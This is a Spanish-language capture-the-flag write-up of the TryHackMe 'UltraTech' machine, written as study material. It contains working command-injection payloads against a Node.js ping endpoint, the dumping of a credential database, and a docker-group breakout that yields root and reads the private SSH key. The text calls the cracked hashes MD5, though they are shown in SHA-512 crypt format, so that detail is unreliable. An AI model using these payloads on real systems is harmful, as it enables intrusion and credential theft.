TryHackMe
Medium
Linux
Node.js
Command Injection
Docker
UltraTech
API Node.js vulnerable a command injection. Credenciales en SQLite crackeadas con John. Escalada a root mediante grupo Docker.
Sep 2022
~60 min
cat4clysm
Herramientas utilizadas
nmap
curl
john
docker
netcat
Reconocimiento
root@kali:~$
nmap -sV -sC -p 21,22,8081,31331 10.10.241.39
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1
8081/tcp open http Node.js Express framework
31331/tcp open http Apache httpd 2.4.29 - UltraTech
El sitio en el puerto 31331 menciona una API en el puerto 8081. Enumeramos los endpoints:
root@kali:~$
curl http://10.10.241.39:8081/ping?ip=127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
El endpoint
/ping ejecuta comandos del sistema sin sanitizar el parámetro ip.
Command Injection
root@kali:~$
curl "http://10.10.241.39:8081/ping?ip=\`id\`"
uid=1001(www) gid=1001(www) groups=1001(www),116(docker)
Leemos la base de datos SQLite con las credenciales:
root@kali:~$
curl "http://10.10.241.39:8081/ping?ip=\`cat+users.db\`"
r00t:$6$hash...
lp1:$6$hash...
Crackeamos los hashes MD5 con John y nos conectamos por SSH.
Escalada — Docker breakout
El usuario pertenece al grupo docker — esto permite escalar a root montando el filesystem del host:
r00t@ultratech:~$
docker run -v /:/mnt --rm -it bash chroot /mnt sh
# whoami
root
# cat /root/.ssh/id_rsa
Lecciones aprendidas
- Nunca pasar input del usuario directamente a funciones del sistema — siempre sanitizar.
- Pertenecer al grupo
dockeres equivalente a tener acceso root en el host. - Las bases de datos SQLite en directorios web son fácilmente accesibles si hay command injection.